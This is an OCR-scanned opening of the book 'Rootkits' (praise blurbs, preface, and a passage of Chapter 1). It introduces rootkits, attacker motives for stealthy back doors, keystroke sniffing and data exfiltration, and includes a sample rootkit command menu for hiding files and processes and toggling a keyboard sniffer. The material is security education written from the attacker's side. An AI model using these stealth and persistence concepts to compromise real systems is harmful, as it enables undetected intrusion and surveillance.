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Overview

"It'simperative that everybody working in the field of cyber-security read this book to
understand the growing threat of rootkits." --Mark Russinovich, editor, WindowsIT Pro/
Windows & .NET Magazine

"Thismaterial isnot only up-to-date, it defines up-to-date. It istruly cutting-edge. Asthe only
book on the subject, Rootkits will be of interest to any Windows security researcher or security
programmer. It's detailed, well researched and the technical information is excellent. The level
of technical detail, research, and time invested in developing relevant examplesisimpressive. In
one word: Outstanding." --Tony Bautts, Security Consultant; CEO, Xtivix, Inc.

"Thisbook isan essential read for anyone responsible for Windows security. Security
professionals, Windows system administrators, and programmersin genera will want to
understand the techniques used by rootkit authors. At atime when many IT and security
professionals are still worrying about the latest e-mail virus or how to get al of this month's
security patchesinstalled, Mr. Hoglund and Mr. Butler open your eyes to some of the most
stealthy and significant threats to the Windows operating system. Only by understanding these
offensive techniques can you properly defend the networks and systems for which you are
responsible.” --Jennifer Kolde, Security Consultant, Author, and Instructor

"What's worse than being owned? Not knowing it. Find out what it means to be owned by
reading Hoglund and Bultler's first-of-a-kind book on rootkits. At the apex the malicious hacker
tool set--which includes decompilers, disassemblers, fault-injection engines, kernel debuggers,
payload collections, coverage tools, and flow analysis tools--is the rootkit. Beginning where
Exploiting Software left off, this book shows how attackers hide in plain sight. "Rootkits are
extremely powerful and are the next wave of attack technology. Like other types of malicious
code, rootkits thrive on stealthiness. They hide away from standard system observers, employing
hooks, trampolines, and patches to get their work done. Sophisticated rootkits run in such away
that other programs that usually monitor machine behavior can't easily detect them. A rootkit
thus provides insider access only to people who know that it is running and available to accept
commands. Kernel rootkits can hide files and running processes to provide a backdoor into the
target machine. "Understanding the ultimate attacker's tool provides an important motivator for
those of ustrying to defend systems. No authors are better suited to give you a detailed hands-on
understanding of rootkits than Hoglund and Butler. Better to own this book than to be owned." -
-Gary McGraw, Ph.D., CTO, Cigital, coauthor of Exploiting Software (2004) and Building
Secure Software (2002), both from Addison-Wesley

"Greg and Jamie are unquestionably the go-to experts when it comes to subverting the Windows
API and creating rootkits. These two masters come together to pierce the veil of mystery
surrounding rootkits, bringing thisinformation out of the shadows. Anyone even remotely
interested in security for Windows systems, including forensic analysis, should include this
book very high on their must-read list." --Harlan Carvey, author of Windows Forensics and
Incident Recovery (Addison-Wesl ey, 2005)

Rootkits are the ultimate backdoor, giving hackers ongoing and virtually undetectable access to
the systems they exploit. Now, two of the world's |eading experts have written the first



comprehensive guide to rootkits: what they are, how they work, how to build them, and how to
detect them. Rootkit.com's Greg Hoglund and James Buitler created and teach Black Hat's
legendary course in rootkits. In this book, they reveal never-before-told offensive aspects of
rootkit technology--learn how attackers can get in and stay in for years, without detection.

Hoglund and Butler show exactly how to subvert the Windows XP and Windows 2000 kernels,
teaching conceptsthat are easily applied to virtually any modern operating system, from
Windows Server 2003 to Linux and UNIX. Using extensive downloadable examples, they teach
rootkit programming techniques that can be used for awide range of software, from white hat
security tools to operating system drivers and debuggers.

After reading this book, readers will be able to

« Understand the role of rootkitsin remote command/control and software eavesdropping
« Build kernel rootkits that can make processes, files, and directoriesinvisible

« Master key rootkit programming techniques, including hooking, runtime patching, and
directly manipulating kernel objects

o Work with layered driversto implement keyboard sniffers and filefilters

« Detect rootkits and build host-based intrusion prevention software that resists rootkit
attacks

Vidit rootkit.com for code and programs from this book. The site al'so contains enhancements to
the book's text, such as up-to-the-minute information on rootkits available nowhere el se.
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Praise for Rootkits

"It'simperative that everybody working in the field of cyber-security read this book to understand
the growing threat of rootkits."

Mark Russinovich, editor, Windows IT Pro/ Windows & .NET Magazine

"Thismaterial is not only up-to-date, it defines up-to-date. It istruly cutting-edge. Asthe only book
on the subject, Rootkitswill be of interest to any Windows security researcher or security
programmer. It's detailed, well researched and the technical information is excellent. The level of
technical detail, research, and time invested in devel oping relevant examplesisimpressive. In one
word: Outstanding.”

Tony Bautts
Security Consultant; CEO, Xtivix, Inc.

"Thisbook is an essential read for anyone responsible for Windows security. Security
professionals, Windows system administrators, and programmers in general will want to
understand the techniques used by rootkit authors. At atime when many IT and security
professionals are still worrying about the latest e-mail virus or how to get all of this month's
security patchesinstalled, Mr. Hoglund and Mr. Butler open your eyesto some of the most stealthy
and significant threats to the Windows operating system. Only by understanding these offensive
techniques can you properly defend the networks and systems for which you are responsible.”

Jennifer Kolde
Security Consultant, Author, and Instructor

"What's worse than being owned? Not knowing it.

"Find out what it means to be owned by reading Hoglund and Butler's first-of-a-kind book on
rootkits. At the apex the malicious hacker toolsetwhich includes decompilers, disassemblers, fault-
injection engines, kernel debuggers, payload collections, coverage tools, and flow analysistoolsis
the rootkit. Beginning where Exploiting Software left off, this book shows how attackers hide in
plain sight.

"Rootkits are extremely powerful and are the next wave of attack technology. Like other types of
malicious code, rootkits thrive on stealthiness. They hide away from standard system observers,
employing hooks, trampolines, and patches to get their work done. Sophisticated rootkitsrunin
such away that other programs that usually monitor machine behavior can't easily detect them. A
rootkit thus provides insider access only to people who know that it is running and available to
accept commands. Kernel rootkits can hide files and running processes to provide a backdoor into
the target machine.

"Understanding the ultimate attacker's tool provides an important motivator for those of ustrying
to defend systems. No authors are better suited to give you a detailed hands-on understanding of
rootkits than Hoglund and Butler. Better to own this book than to be owned."



Gary McGraw, Ph.D., CTO, Cigital, coauthor of Exploiting Software (2004) and Building Secure
Software (2002), both from Addison-Wesley

"Greg and Jamie are unquestionably the go-to experts when it comes to subverting the Windows
API and creating rootkits. These two masters come together to pierce the veil of mystery
surrounding rootkits, bringing thisinformation out of the shadows. Anyone even remotely
interested in security for Windows systems, including forensic analysis, should include this book
very high on their must-read list."

Harlan Carvey, author of Windows Forensics and Incident Recovery (Addison-Wesley, 2005)



Preface

A rootkit is a set of programs and code that allows a permanent and undetectable presence on a
computer.

Historical Background

We became interested in rootkits because of our professional work in computer security, but the pursuit
of the subject quickly expanded into a personal mission (also known as late nights and weekends). This
led Hoglund to found rootkit.com, a forum devoted to reverse engineering and rootkit devel opment.
Both of us are deeply involved with rootkit.com. Butler first contacted Hoglund online through this Web
site because Butler had a new and powerful rootkit called FU that needed testing,[!] Butler sent Hoglund
some source code and a pre-compiled binary. However, by accident, he did not send Hoglund the source
code to the kernel driver. To Butler's amazement, Hoglund just loaded the pre-compiled rootkit onto his
workstation without question, and reported back that FU seemed to be working fine! Our trust in one
another has only grown since then.[2]

(1] Butler was not interested in rootkits for malicious purposes. He was instead fascinated with the power of kernel
modifications. Thisled Butler to develop one of the first rootkit-detection programs, VICE.

(2l Hoglund still wonders, from time to time, whether that original version of FU is still running on his workstation.

Both of us have long been driven by an almost perverse need to reverse-engineer the Windows kernel.
It's like when someone says we can't do somethingthen we accomplish it. It is very satisfying learning
how so-called computer security products work and finding ways around them. Thisinevitably leadsto
better protection mechanisms.

The fact that a product claimsto provide some level of protection does not necessarily mean it actually
does. By playing the part of an attacker, we are aways at an advantage. As the attacker we must think of
only one thing that a defender didn't consider. Defenders, on the other hand, must think of every possible
thing an attacker might do. The numbers work in the attacker's favor.

We teamed up afew years ago to offer the training class " Offensive Aspects of Rootkit Technology."
Thistraining started as asingle day of material that since has grown to include hundreds of pages of
notes and example code. The material for the class eventually became the foundation for this book. We
now offer the rootkit training class several times ayear at the Black Hat security conference, and also
privately.

After training for awhile, we decided to deepen our relationship, and we now work together at HBGary,
Inc. At HBGary, we tackle very complex rootkit problems on adaily basis. In this book, we use our
experience to cover the threats that face Windows users today, and likely will only increasein the future.

Target Audience

This book isintended for those who are interested in computer security and want atruer perspective



concerning security threats. A lot has been written on how intruders gain access to computer systems,
but little has been said regarding what can happen once an intruder gainsthat initial access. Likethetitle
implies, this book will cover what an intruder can do to cover her presence on a compromised machine.

We believe that most software vendors, including Microsoft, do not take rootkits serioudly. That iswhy
we are publishing this book. The material in this book is not groundbreaking for someone who has
worked with rootkits or operating systems for yearsbut for most people this book should prove that
rootkits are a serious threat. It should prove that your virus scanner or desktop firewall is never good
enough. It should prove that arootkit can get into your computer and stay there for years without you
ever knowing about it.

To best convey rootkit information, we wrote most of this book from an attacker's perspective; however,
we end the book on a defensive posture. Asyou begin to learn your attackers goals and techniques, you
will begin to learn your own system’'s weaknesses and how to mitigate its shortcomings. Reading this
book will help you improve the security of your system or help you make informed decisions when it
comes to purchasing security software.

Prerequisites

Asall of the code samples are written in C, you will gain more insight if you already understand basic C
conceptsthe most important one being pointers. If you have no programming knowledge, you should still
be able to follow along and understand the threats without needing to understand the particular
implementation details. Some areas of the book draw on principles from the Windows device driver
architecture, but experience writing device driversis not required. We will walk you through writing
your first Windows device driver and build from there.

Scope

This book covers Windows rootkits, although most of the concepts apply to other operating systems as
well, such as LINUX. We focus on kernel rootkits because these are the most difficult to detect. Many
public rootkits for Windows are userland rootkits'3! because these are the easiest to implement, since
they do not involve the added complexity of understanding how the undocumented kernel works.

(3] Userland rootkits are rootkits that do not employ kernel-level modifications, but instead rely only upon user-program
modifications.

This book is not about specific rea-world rootkits. Rather, it teaches the generic approaches used by all
rootkits. In each chapter, we introduce a basic technique, explain its purposes, and show how it's
implemented using code examples. Armed with thisinformation, you should be able to expand the
examplesin amillion different ways to perform avariety of tasks. When working in the kernel, you are
really limited only by your imagination.

Y ou can download most of the code in this book from rootkit.com. Throughout the book, we will
reference the particular URL for each individual example. Other rootkit authors also publish research at
rootkit.com that you may find useful for keeping up with the latest discoveries.
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Chapter 1. Leave No Trace

Subtle and insubstantial, the expert leaves no trace; divinely mysterious, heisinaudible. Thus heis
the master of his enemy's fate.

SuN Tzu

Many books discuss how to penetrate computer systems and software. Many authors have already
covered how to run hacker scripts, write buffer-overflow exploits, and craft shellcode. Notable examples
include the texts Exploiting Software,[1] The Shellcoder's Handbook,[2 and Hacking Exposed. 3!

(1 G. Hoglund and G. McGraw, Exploiting Software: How to Break Code (Boston: Addison-Wesley, 2004). See also
www.exploitingsoftware.com

[21 . Koziol, D. Litchfield, D. Aitel, C. Anley, S. Eren, N. Mehta, and R. Hassell, The Shellcoder's Handbook (New Y ork:
John Wiley & Sons, 2004).

(31 S. McClure, J. Scambray, and G. Kurtz, Hacking Exposed (New Y ork: McGraw-Hill, 2003).

This book is different. Instead of covering the attacks, this book will teach you how attackers stay in
after the break-in. With the exception of computer forensics books, few discuss what to do after a
successful penetration. In the case of forensics, the discussion is a defensive onehow to detect the
attacker and how to reverse-engineer malicious code. In this book we take an offensive approach. This
book is about penetrating a computer system without being detected. After all, for a penetration to be
successful over time, it cannot be detected.

In this chapter we will introduce you to rootkit technology and the general principals of how it works.
Rootkits are only part of the computer-security spectrum, but they are critical for many attacks to be
successful.

Rootkits are not, in and of themselves, malicious. However, rootkits can be used by malicious programs.
Understanding rootkit technology is critical if you are to defend against modern attacks.



Understanding Attackers' Motives

A back door in acomputer is a secret way to get access. Back doors have been popularized in many
Hollywood movies as a secret password or method for getting access to a highly secure computer
system. But back doors are not just for the silver screenthey are very real, and can be used for stealing
data, monitoring users, and launching attacks deep into computer networks.

An attacker might leave a back door on a computer for many reasons. Breaking into a computer system
Is hard work, so once an attacker succeeds, she will want to keep the ground she has gained. She may
also want to use the compromised computer to launch additional attacks deeper into the network.

A magjor reason attackers penetrate computersisto gather intelligence. To gather intelligence, the
attacker will want to monitor keystrokes, observe behavior over time, sniff packets from the network,
and exfiltratel4l data from the target. All of this requires establishing a back door of some kind. The
attacker will want to leave software running on the target system that can perform intelligence gathering.

(4 Exfiltrate: To transport out of, to remove from alocation; to transport a copy of data from one location to another.

Attackers also penetrate computers to destroy them, in which case the attacker might leave alogic bomb
on the computer, which she has set to destroy the computer at a specific time. While the bomb waits, it
needs to stay undetected. Even if the attacker does not require subsequent back-door accessto the
system, thisis a case where software is left behind and it must remain undetected.

The Role of Stealth

To remain undetected, a back-door program must use stealth. Unfortunately, most publicly available
"hacker" back-door programs aren't terribly stealthy. Many things can go wrong. Thisis mostly because
the developers want to build everything including the proverbial kitchen sink into a back-door program.
For example, take alook at the Back Orifice or NetBus programs. These back-door programs sport
impressive lists of features, some as foolish as gecting your CD-ROM tray. Thisisfun for office humor,
but not a function that would be used in a professional attack operation.[®! If the attacker is not careful,
she may reveal her presence on the network, and the whole operation may sour. Because of this,
professional attack operations usually require specific and automated back-door programsprograms that
do only one thing and nothing else. This provides assurance of consistent results.

[5] Professional in this case indicates a sanctioned operation of some kind, as performed, for example, by law
enforcement, pen testers, red teams, or the equivalent.

If computer operators suspect that their computer or network has been penetrated, they may perform
forensic discovery, looking for unusual activity or back-door programs.[®l The best way to counter
forensicsiswith stealth: If no attack is suspected, then no forensics are likely to be applied to the
system. Attackers may use stealth in different ways. Some may simply try to step lightly by keeping
network traffic to a minimum and avoiding storing files on the hard drive. Others may store files but
employ obfuscation techniques that make forensics more difficult. If stealth is used properly, forensics
will never be applied to a compromised system, because the intrusion will not have been detected. Even
if an attack is suspected and forensics end up being used a good stealth attack will store datain



obfuscated ways to escape detection.

(6] For agood text on computer forensics, see D. Farmer and W. Venema, Forensic Discovery (Boston: Addison-Wesley,
2004).

When Stealth Doesn't Matter

Sometimes an attacker doesn't need to be stealthy. For instance, if the attacker wantsto penetrate a
computer only long enough to steal something, such as an e-mail spool, perhaps she doesn't careif the
attack is eventually detected.

Another time when stealth is not required is when the attacker simply wants to crash the target
computer. For example, perhaps the target computer is controlling an anti-aircraft system. In this case,
stealth is not a concernjust crashing the system is enough to achieve the objective. In most cases, a
computer crash will be obvious (and disturbing) to the victim. If thisisthe kind of attack you want to
learn more about, this book will not help you.

Now that you have a basic understanding of attackers' motives, we'll spend the rest of this chapter
discussing rootkits in general, including some background on the subject as well as how rootkits work.



What Is a Rootkit?

The term rootkit has been around for more than 10 years. A rootkit isa"kit" consisting of small and
useful programs that allow an attacker to maintain accessto "root," the most powerful user on a
computer. In other words, a rootkit is a set of programs and code that allows a permanent or consistent,
undetectabl e presence on a computer.

In our definition of "rootkit,” the key word is "undetectable." Most of the technology and tricks
employed by arootkit are designed to hide code and data on a system. For example, many rootkits can
hide files and directories. Other featuresin arootkit are usually for remote access and eavesdroppingfor
instance, for sniffing packets from the network. When combined, these features deliver a knockout
punch to security.

Rootkits are not inherently "bad," and they are not always used by the "bad guys.” It isimportant to
understand that arootkit isjust atechnology. Good or bad intent derives from the humans who use
them. There are plenty of legitimate commercial programs that provide remote administration and even
eavesdropping features. Some of these programs even use stealth. In many ways, these programs could
be called rootkits. Law enforcement may use the term "rootkit" to refer to a sanctioned back-door
programsomething installed on atarget with legal permission from the state, perhaps via court order.
(We cover such uses in the section Legitimate Uses of Rootkits later in this chapter.) Large corporations
also use rootkit technology to monitor and enforce their computer-use regulations.

By taking the attacker's perspective, we guide you through your enemies skills and techniques. This will
increase your skillsin defending against the rootkit threat. If you are alegitimate developer of rootkit
technology, this book will help you build a base of skills that you can expand upon.



Why Do Rootkits Exist?

Rootkits are arelatively recent invention, but spies are as old as war. Rootkits exist for the same reasons
that audio bugs exist. People want to see or control what other people are doing. With the huge and
growing reliance on data processing, computers are natural targets.

Rootkits are useful only if you want to maintain accessto a system. If all you want to do is steal
something and leave, there is no reason to leave arootkit behind. In fact, leaving arootkit behind always
opens you to therisk of detection. If you steal something and clean up the system, you may leave no
trace of your operation.

Rootkits provide two primary functions: remote command and control, and software eavesdropping.

Remote Command and Control

Remote command and control (or simply "remote control") can include control over files, causing
reboots or "Blue Screens of Death," and accessing the command shell (that is, cmd.exe or /bin/sh).
Figure 1-1 shows an example of arootkit command menu. This command menu will give you an idea of
the kinds of features arootkit might include.

Figure 1-1. Menu for a kernel rootkit.
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command descri ption

ps show process |i st

hel p this data

buf fert est debug out put

hi dedi r hi de prefixed file or directory
hi depr oc hi de prefixed processes

debugi nt (BSOD)fire int3

sni ffkeys t oggl e keyboard sniffer



echo <string> echo the given string
*"(BSOD)" means Bl ue Screen of Death
if a kernel debugger is not present!
*"prefixed" means the process or filenane
starts with the letters '_root_'.

*"sniffer" means listening or nonitoring software.

Software Eavesdropping

Software eavesdropping is al about watching what people do. This means sniffing packets, intercepting
keystrokes, and reading e-mail. An attacker can use these techniques to capture passwords and decrypted
files, or even cryptographic keys.

Cyberwarfare

While rootkits have applications in waging digital warfare, they are not the first application
of the concept.

Wars are fought on many fronts, not the least of which is economic. From the end of World
War |1 through the Cold War, the USSR mounted a large intelligence-gathering operation
against the U.S. to obtain technology.[”]

Having detected some of these operations, the US planted bogus plans, software, and
materialsinto the collection channel. In one reported incident, malicious modifications to
software (so-called "extraingredients") were credited for a Siberian gas pipeline
explosion.[8] The explosion was photographed by satellites and was described as "the most
monumental non-nuclear explosion and fire ever seen from space." [

[7] G. Weiss, "The Farewell Dossier," in Sudies in Intelligence (Washington: Central Intelligence Agency, Center for the
Study of Intelligence, 1996), available from www.cia.gov/csi/studies/96unclass/farewell.htm.

(8] Thisimplies that the explosion was caused by some sort of software subversion.

(99 D. Hoffman, "Cold War hotted up when sabotaged Soviet pipeline went off with abang," Sydney Morning Herald, 28
February 2004.

Legitimate Uses of Rootkits



Aswe alluded to already, rootkits can be used for legitimate purposes. For instance, they can be used by
law-enforcement agenciesto collect evidence, in an advanced bugging operation. Thiswould apply to
any crime in which acomputer is used, such as computer trespass, creating or distributing child
pornography, software or music piracy, and DMCAI[0 violations.

(19 The Digital Millenium Copyright Act of 1998, PL 105-304, 17 USC § 101 et seq.

Rootkits can also be used to fight wars. Nations and their militaries rely heavily on computing
machinery. If these computersfail, the enemy's decision cycle and operations can be affected. The
benefits of using a computer (versus conventional) attack include that it costsless, it keeps soldiers out
of danger, it causes little collateral damage, and in most cases it does not cause permanent damage. For
instance, if anation bombs all the power plantsin a country, then those power plants will need to be
rebuilt at great expense. But if a software worm infects the power control network and disables it, the
target country still loses use of the power plants output, but the damage is neither permanent nor as
expensive.



How Long Have Rootkits Been Around?

Aswe noted previoudly, rootkits are not a new concept. In fact, many of the methods used in modern
rootkits are the same methods used in virusesin the 1980sfor example, modifying key system tables,
memory, and program logic. In the late 1980s, a virus might have used these techniques to hide from a
virus scanner. The viruses during this era used floppy disks and BBS's (bulletin board systems) to spread
infected programs.

When Microsoft introduced Windows N T, the memory model was changed so that normal user
programs could no longer modify key system tables. A lapsein hard virus technology followed, because
no virus authors were using the new Windows kernel.

When the Internet began to catch on, it was dominated by UNIX operating systems. Most computers
used variants of UNIX, and viruses were uncommon. However, thisis aso when network worms were
born. With the famous Morris Worm, the computing world woke up to the possibility of software
exploits.[1X] During the early 1990s, many hackers figured out how to find and exploit buffer overflows,
the "nuclear bomb" of all exploits. However, the virus-writing community didn't catch on for amost a
decade.

[11] Robert Morris released the first documented Internet worm. For an account of the Morris Worm, see K. Hafner and J.
Markoff, Cyberpunk: Outlaws and Hackers on the Computer Frontier (New York: Simon & Schuster, 1991).

During the early 1990s, a hacker would penetrate a system, set up camp, and then use the freshly
compromised computer to launch new attacks. Once a hacker had penetrated a computer, she needed to
maintain access. Thus, the first rootkits were born. These original rootkits were merely backdoor
programs, and they used very little stealth. In some cases, they replaced key system binaries with
modified versions that would hide files and processes. For example, consider a program called Is that
lists files and directories. A first-generation rootkit might replace the Is program with a Trojan version
that hides any file named hacker_stuff. Then, the hacker would simply store al of her suspect datain a
file named hacker_stuff. The modified |s program would keep the data from being revealed.

System administrators at that time responded by writing programs such as Tripwirel12] that could detect
whether files had been changed. Using our previous example, a security utility like Tripwire could
examine the Is program and determine that it had been altered, and the Trojan would be unmasked.

[22] www.tripwire.org

The natural response was for attackers to move into the kernel of the computer. The first kernel rootkits
were written for UNIX machines. Once they infected the kernel, they could subvert any security utility
on the computer at that time. In other words, Trojan files were no longer needed: All stealth could be
applied by modifying the kernel. This technique was no different from the techniques used by virusesin
the late 1980s to hide from anti-virus software.



How Do Rootkits Work?

Rootkits work using a simple concept called modification. In general, software is designed to make
specific decisions based on very specific data. A rootkit locates and modifies the software so it makes
Incorrect decisions.

There are many places where modifications can be made in software. Some of them are discussed in the
following paragraphs.

Patching

Executable code (sometimes called abinary) consists of a series of statements encoded as data bytes.
These bytes come in avery specific order, and each means something to the computer. Software logic
can be modified if these bytes are modified. This technique is sometimes called patchinglike placing a
patch of adifferent color on a quilt. Software is not smart; it does only and exactly what it istold to do
and nothing else. That iswhy modification works so well. In fact, under the hood, it's not all that
complicated. Byte patching is one of the major techniques used by "crackers' to remove software
protections. Other types of byte patches have been used to cheat on video games (for example, to give
unlimited gold, health, or other advantages).

Easter Eggs

Software logic modifications may be "built in." A programmer may place a back door in a program she
wrote. This back door is not in the documented design, so the software has a hidden feature. Thisis
sometimes called an Easter Egg, and can be used like a signature: The programmer |eaves something
behind to show that she wrote the program. Earlier versions of the widely used program Microsoft Excel
contained an easter-egg that allowed a user who found it to play a 3D first-person shooter game similar
to Dooml 13l embedded inside a spreadsheet cell.

[13] The Easter Eggs and Curios Database, www.eggheaven2000.com

Spyware Modifications

Sometimes a program will modify another program to infect it with "spyware." Some types of spyware
track which Web sites are visited by users of the infected computer. Like rootkits, spyware may be
difficult to detect. Some types of spyware hook into Web browsers or program shells, making them
difficult to remove. They then make the user'slife hell by placing links for new mortgages and Viagraon
their desktops, and generally reminding them that their browsers are totally insecure.[14]

(241 Many Web browsers fall prey to spyware, and of course Microsoft's Internet Explorer is one of the biggest targets for
spyware.

Source-Code Modification



Sometimes software is modified at the sourceliterally. A programmer can insert malicious lines of
source code into a program she authors. This threat has caused some military applications to avoid open-
source packages such as Linux. These open-source projects allow almost anyone ("anyone" being
"someone you don't know") to add code to the sources. Granted, there is some amount of peer review on
important code like BIND, Apache, and Sendmail. But, on the other hand, does anyone really go through
the code line by line? (If they do, they don't seem to do it very well when trying to find security holes!)
Imagine a back door that isimplemented as a bug in the software. For example, a malicious programmer
may expose a program to a buffer overflow on purpose. Thistype of back door can be placed on
purpose. Since it's disguised as a bug, it becomes difficult to detect. Furthermore, it offers plausible
deniability on the part of the programmer!

Okay, we can hear you saying "Bah! | fully trust all those unknown people out there who authored my
software because they are obviously only three degrees of separation from Linus Torvaldsl?®l and I'd
trust Linus with my lifel" Fine, but do you trust the skills of the system administrators who run the
source-control servers and the source-code distribution sites? There are several examples of attackers
gaining access to source code. A major example of thistype of compromise took place when the root
FTP serversfor the GNU Project (gnu.org), source of the Linux-based GNU operating system, were
compromised in 20031161 Modifications to source code can end up in hundreds of program distributions
and are extremely difficult to locate. Even the sources of the very tools used by security professionas
have been hacked in thisway.[17]

(35 Linus Torvaldsis the father of Linux.
[16] CERT Advisory CA-2003-21, available from www.cert.org/advisories/ CA-2003-21.html.

[17] For example, D. Song's monkey.org site was compromised in May, 2002, and the Dsniff, Fragroute and Fragrouter
tools hosted there were contaminated. See "Download Sites Hacked, Source Code Backdoored," SecurityFocus, available
at www.securityfocus.com/news/462.

The Legality of Software Modification

Some forms of software modification areillegal. For example, if you use a program to modify another
program in away that removes copyright mechanisms, you may be in violation of the law (depending on
your jurisdiction). This appliesto any "cracking” software that can commonly be found on the Internet.
For example, you can download an evaluation copy of a program that "times out" and stops functioning
after 15 days, then download and apply a"crack," after which the software will run asif it had been
registered. Such adirect modification of the code and logic of a program would beillegal.



What a Rootkit Is Not

Okay, so we've described in detail what arootkit is and touched on the underlying technology that makes
arootkit possible. We have described how arootkit is a powerful hacker tool. But, there are many kinds
of hacker toolsarootkit is only one part of alarger collection. Now it's time to explain what arootkit is
not.

A Rootkit Is Not an Exploit

Rootkits may be used in conjunction with an exploit, but the rootkit itself isafairly straightforward set
of utility programs. These programs may use undocumented functions and methods, but they typically
do not depend on software bugs (such as buffer overflows).

A rootkit will typically be deployed after a successful software exploit. Many hackers have atreasure
chest of exploits available, but they may have only one or two rootkit programs. Regardless of which
exploit an attacker uses, once she is on the system, she deploys the appropriate rootkit.

Although arootkit is not an exploit, it may incorporate a software exploit. A rootkit usually requires
access to the kernel and contains one or more programs that start when the system is booted. There are
only alimited number of waysto get code into the kernel (for example, as a device driver). Many of
these methods can be detected forensically.

One novel way to install arootkit isto use a software exploit. Many software exploits allow arbitrary
code or third-party programsto be installed. Imagine that there is a buffer overflow in the kernel (there
are documented bugs of this nature) that allows arbitrary code to be executed. Kernel-buffer overflows
can exist in almost any device driver (for example, a printer driver). Upon system startup, aloader
program can use the buffer overflow to load arootkit. The loader program does not employ any
documented methods for loading or registering adevice driver or otherwise installing arootkit. Instead,
the loader exploits the buffer overflow to install the kernel-mode parts of arootkit.

The buffer-overflow exploit is a mechanism for loading code into the kernel. Although most people
think of this as abug, arootkit developer may treat it as an undocumented feature for loading code into
the kernel. Because it is not documented, this "path to the kernel™ is not likely to be included as part of a
forensic investigation. Even more importantly, it won't be protected by a host-based firewall program.
Only someone skilled in advanced reverse engineering would be likely to discover it.

A Rootkit Is Not a Virus

A virus program is a self-propagating automaton. In contrast, a rootkit does not make copies of itself,
and it does not have amind of its own. A rootkit is under the full control of a human attacker, while a
virusis not.

In most cases, it would be dangerous and foolish for an attacker to use avirus when she requires stealth
and subversion. Beyond the fact that creating and distributing virus programs may beillegal, most virus
and worm programs are noisy and out of control. A rootkit enables an attacker to stay in complete



control. In the case of a sanctioned penetration (for example, by law enforcement), the attacker needs to
ensure that only certain targets are penetrated, or else she may violate alaw or exceed the scope of the
operation. Thiskind of operation requires very strict controls, and using avirus would simply be out of
the question.

It is possible to design avirus or worm program that spreads via software exploits that are not detected
by intrusion-detection systems (for instance, zero-day exploits18]). Such aworm could spread very
slowly and be very difficult to detect. It may have been tested in awell-stocked lab environment with a
model of the target environment. It may include an "area-of-effect” restriction to keep it from spreading
outside of a controlled boundary. And, finally, it may have a"land-mine timer" that causesit to be
disabled after a certain amount of timeensuring that it doesn't cause problems after the mission is over.
We'll discuss intrusion-detection systems later in this chapter.

(18] A zero-day exploit is brand new, and no software patch exists yet to fix it.

The Virus Problem

Even though arootkit is not a virus, the techniques used by arootkit can easily be employed by avirus.
When arootkit is combined with avirus, avery dangerous technology is born.

The world has seen what viruses can do. Some virus programs have spread through millions of
computersin only afew hours.

The most common operating system, Microsoft Windows, has historically been plagued with software
bugs that allow viruses to infect computers over the Internet. Most malicious hackers will not reveal
software bugs to the vendor. In other words, if amalicious hacker were to find an exploitable bug in
Microsoft Windows, she would not reveal thisto Microsoft. An exploitable bug that affects the default
installation of most Windows computersis like a"key to the kingdom"; telling the vendor about it
would be giving away the key.

Understanding rootkit technology is very important for defending against viruses. Virus programmers
have been using rootkit technology for many yearsto "heat up” their viruses. Thisis adangerous trend.
Algorithms have been published for virus propagation(19 that can penetrate hundreds of thousands of
machines in an hour. Techniques exist for destroying computer systems and hardware. And, remotely
exploitable holes in Microsoft Windows are not going away. Viruses that use rootkit technology are
going to be harder to detect and prevent.

(29 N. Weaver, "Warhol Worms: The Potential for Very Fast Internet Plagues," available from
www.cs.berkeley.edu/~nweaver/warhol .html.



Rootkits and Software Exploits

Software exploitation is an important subject relating to rootkits. (How software can break and be
exploited is not covered in this book. If you're interested in software exploitation, we recommend the
book Exploiting Software.[20])

[20] G. Hoglund and G. McGraw, Exploiting Software.

Although arootkit is not an exploit, it may be employed as part of an exploit tool (for example, in a
Virus or spyware).

The threat of rootkits is made strong by the fact that software exploits are in great supply. For example, &
reasonabl e conjecture is that at any given time, there are more than a hundred known working
exploitable holesin the latest version of Microsoft Windows.[2l For the most part, these exploitable
holes are known by Microsoft and are being slowly managed through a quality-assurance and bug-
tracking system.[22] Eventually, these bugs are fixed and silently patched.[23]

[21] We cannot offer proof for this conjecture, but it is a reasonable assumption derived from knowledge about the
problem.

[22] Most software vendors use similar methods to track and repair bugs in their products.

(23] "Sjlently patched" means the bug is fixed via a software update, but the software vendor never informs the public or
any customers that the bug ever existed. For all intents, the bug is treated as "secret" and nobody talks about it. Thisis
standard practice for many large software vendors, in fact.

Some exploitable software bugs are found by independent researchers and never reported to the software
vendor. They are deadly because nobody knows about them accept the attacker. This meansthereislittle
to no defense against them (no patch is available).

Many exploits that have been publicly known for more than ayear are still being widely exploited today.
Even if thereisapatch available, most system administrators don't apply the patchesin atimely fashion.
Thisis especialy dangerous since even if no exploit program exists when a security flaw is discovered,
an exploit program istypically published within afew days after release of a public advisory or a
software patch.

Although Microsoft takes software bugs seriously, integrating changes by any large operating system
vendor can take an inordinate amount of time.

When aresearcher reports a new bug to Microsoft, she is usually asked not to release public information
about the exploit until a patch can be released. Bug fixing is expensive and takes a great deal of time.
Some bugs aren't fixed until several months after they are reported.

One could argue that keeping bugs secret encourages Microsoft to take too long to release security fixes.
Aslong as the public doesn't know about a bug, there islittle incentive to quickly release a patch. To
address this tendency, the security company eEye has devised a clever method to make public the fact
that a serious vulnerability has been found, but without releasing the details.

Figure 1-2, which comes from eEye's Web site,[24] shows atypical advisory. It details when the bug was
reported to a vendor, and by how many days the vendor patch is"overdue," based on the judgment that a



timely response would be release of a patch within 60 days. Aswe have seen in thereal world, large
software vendors take longer than 60 days. Historically, it seemsthe only time a patch is released within
daysiswhen areal Internet worm is released that uses the exploit.

(241 www.eEye.com

Figure 1-2. Method used by eEye to "pre-release" a security advisory.

[View full size image]

EEYEB-20040802-C
Vendor: Microsoft 60
Severity: High (Remcte Code Execubion) Days Overdus
Cabe Reported: August 02, 2004
Days Since Inttial Report:

Day 30 60 120

Type-Safe Languages

Programming languages that are type-safe are more secure from certain exploits, such as
buffer overflows.

Without type safety, program datais just abig ocean of bits. The program can grab any
arbitrary handful of bitsand interpret it in limitless waysregardless of the original purpose
of the data. For example, if the string "GARY" were placed into memory, it could later be
used not astext, but as a 32-bit integer, 0x47415259 (or, in decimal, 1,195,463,257arather
large number indeed!). When data supplied by an external user can be misinterpreted,
software exploits can be employed.

Conversely, programs written in atype-safe language (like Java or C#251) would never
convert "GARY" to a number; the string would always be treated as text and nothing else.

[25] C# (pronounced "see sharp") is not the same language as"C" ("see") or C++ ("see plus plus").

Why Exploits Are Still a Problem

The need for software security has been known for along time, yet software exploits continue to be a
